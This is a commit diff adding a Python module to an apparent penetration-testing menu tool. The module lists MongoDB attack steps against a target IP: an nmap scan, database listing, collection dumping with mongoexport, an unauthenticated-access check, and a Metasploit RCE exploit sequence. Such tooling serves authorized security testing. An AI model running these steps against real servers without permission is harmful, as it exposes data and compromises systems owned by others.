Upload files to "TTPs"

TTPs/mongodb.py

@@ -0,0 +1,53 @@
+from Modules.Imports.protocol_imports import *
+
+def mongodb_submenu(target_ip, open_ports):
+    actions = {
+        "1": {"description": "Check for Open MongoDB Instances", "function": check_open_instances},
+        "2": {"description": "List Databases", "function": list_databases},
+        "3": {"description": "Dump Collections", "function": dump_collections},
+        "4": {"description": "Check for Authentication Bypass", "function": check_authentication_bypass},
+        "5": {"description": "Test for MongoDB RCE Exploit", "function": test_rce_exploit},
+    }
+    build_submenu("MongoDB Enumeration", target_ip, actions, open_ports)
+
+def check_open_instances(target_ip, open_ports):
+    title = "Check for Open MongoDB Instances"
+    content = f"nmap -p 27017 --script mongodb-info {target_ip}"
+    run_command(title, content, target_ip, open_ports)
+
+def list_databases(target_ip, open_ports):
+    title = "List MongoDB Databases"
+    content = (
+        f"Use `mongo` CLI:\n\n"
+        f"1. Connect: mongo {target_ip}:27017\n"
+        f"2. Run: show dbs"
+    )
+    run_command(title, content, target_ip, open_ports)
+
+def dump_collections(target_ip, open_ports):
+    title = "Dump Collections from MongoDB"
+    content = (
+        f"Use `mongoexport`:\n\n"
+        f"mongoexport --host {target_ip} --db <database_name> --collection <collection_name> --out <output_file.json>"
+    )
+    run_command(title, content, target_ip, open_ports)
+
+def check_authentication_bypass(target_ip, open_ports):
+    title = "Check for Authentication Bypass"
+    content = (
+        f"Attempt to access the database without credentials:\n\n"
+        f"mongo {target_ip}:27017 --eval \"db.stats()\""
+    )
+    run_command(title, content, target_ip, open_ports)
+
+def test_rce_exploit(target_ip, open_ports):
+    title = "Test for MongoDB RCE Exploit"
+    content = (
+        f"Use Metasploit or other tools to test RCE vulnerabilities:\n\n"
+        f"msfconsole -q\n"
+        f"search mongodb\n"
+        f"use exploit/linux/misc/mongodb_target_rce\n"
+        f"set RHOSTS {target_ip}\n"
+        f"run"
+    )
+    run_command(title, content, target_ip, open_ports)